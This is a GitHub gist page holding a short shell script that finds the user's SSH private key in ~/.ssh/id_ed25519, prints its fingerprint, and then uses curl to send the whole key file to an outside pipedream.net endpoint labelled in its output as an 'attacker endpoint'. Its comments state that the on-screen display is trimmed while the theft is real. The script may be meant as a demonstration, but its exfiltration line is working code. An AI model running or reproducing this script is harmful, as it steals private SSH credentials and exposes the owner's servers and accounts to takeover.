Last active
July 22, 2026 20:54
-
-
Save ianjmacintosh/ba6ea3d970578183dd9c004fd330a102 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| KEY="$HOME/.ssh/id_ed25519" | |
| echo " [*] found private key: $KEY" | |
| # fingerprint + type + comment — instantly recognizable, not usable | |
| ssh-keygen -lf "$KEY" 2>/dev/null | sed 's/^/ [*] /' | |
| # first/last line only, so the frame screams "private key" without dumping the body | |
| # the actual exfil still sends the whole file — the theft is real, just not on screen | |
| curl -s -H "Content-Type: text/plain" -d @"$KEY" https://eorpi3m393pv4kb.m.pipedream.net >/dev/null 2>&1 | |
| echo " [+] exfiltrated $KEY -> attacker endpoint" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment